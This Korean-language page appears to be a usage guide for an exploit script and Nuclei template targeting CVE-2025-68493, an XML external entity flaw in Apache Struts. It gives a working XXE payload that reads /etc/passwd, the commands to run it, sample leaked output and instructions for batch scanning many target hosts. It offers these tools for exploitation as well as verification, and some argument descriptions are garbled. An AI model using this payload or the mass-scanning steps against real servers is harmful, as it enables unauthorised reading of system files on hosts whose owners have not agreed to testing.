
Apache Struts의 XXE 취약점인 CVE-2025-68493을 탐지하고 악용하기 위한 Python PoC 스크립트 및 Nuclei YAML 템플릿으로, 파일 읽기 및 일괄 스캔을 가능하게 합니다.
CVE-2025-68493
[1] ApacheStrutsXWorkXML 취약점 CVE-2025-68493 PoC 및 스크립트 | ZONE.CI 글로벌. https://zone.ci/secarticles/wx/486533.html
CVE-2025-68493 취약점을 검증하고 악용하기 위해, 아래에 제공된 Python PoC 스크립트와 Nuclei YAML 템플릿을 사용할 수 있습니다.
스크립트 이름: cve_2025_68493_poc.py
기능: 이 스크립트는 단일 대상에 대해 취약점을 검증하며, 지정된 파일(기본값 /etc/passwd)을 읽으려고 시도합니다.
사용 전제 조건:
requests 라이브러리 (pip install requests)명령줄 인수:
-u, : 대상 애플리케이션의 기본 URL (예: )--urlhttp://127.0.0.1:8080-f, --file: 읽으려는 대상 파일 경로 (기본값 /etc/passwd)예시:
python3 cve_2025_68493_poc.py -u http://example.com:8080 -f /etc/passwd
예상 출력:
대상에 취약점이 존재하고 파일 읽기에 성공하면, 다음과 유사한 내용이 표시됩니다:
[*] Testing URL: http://example.com:8080/struts2-xml-parser/xmlParserNoDtdParse
[*] Payload: <?xml version="1.0"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <foo>&xxe;</foo>
[+] Vulnerable! Successfully read /etc/passwd
----------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
----------------------------------------
템플릿 이름: cve-2025-68493.yaml
기능: 이 템플릿은 Nuclei 도구를 사용하여 여러 대상을 일괄 스캔하여 CVE-2025-68493 취약점을 감지하는 데 사용됩니다.
사용 전제 조건:
명령줄 인수:
-t: Nuclei 템플릿 파일 경로 지정-u: 단일 대상 URL 지정-l: 여러 대상 URL이 포함된 파일 지정예시:
단일 대상 스캔:
nuclei -t cve-2025-68493.yaml -u http://example.com:8080
일괄 스캔:
targets.txt 파일에 각 줄에 대상 URL이 하나씩 있다고 가정합니다:
http://target1.com:8080
http://target2.com:8080
다음 명령을 실행하여 일괄 스캔을 수행합니다:
nuclei -t cve-2025-68493.yaml -l targets.txt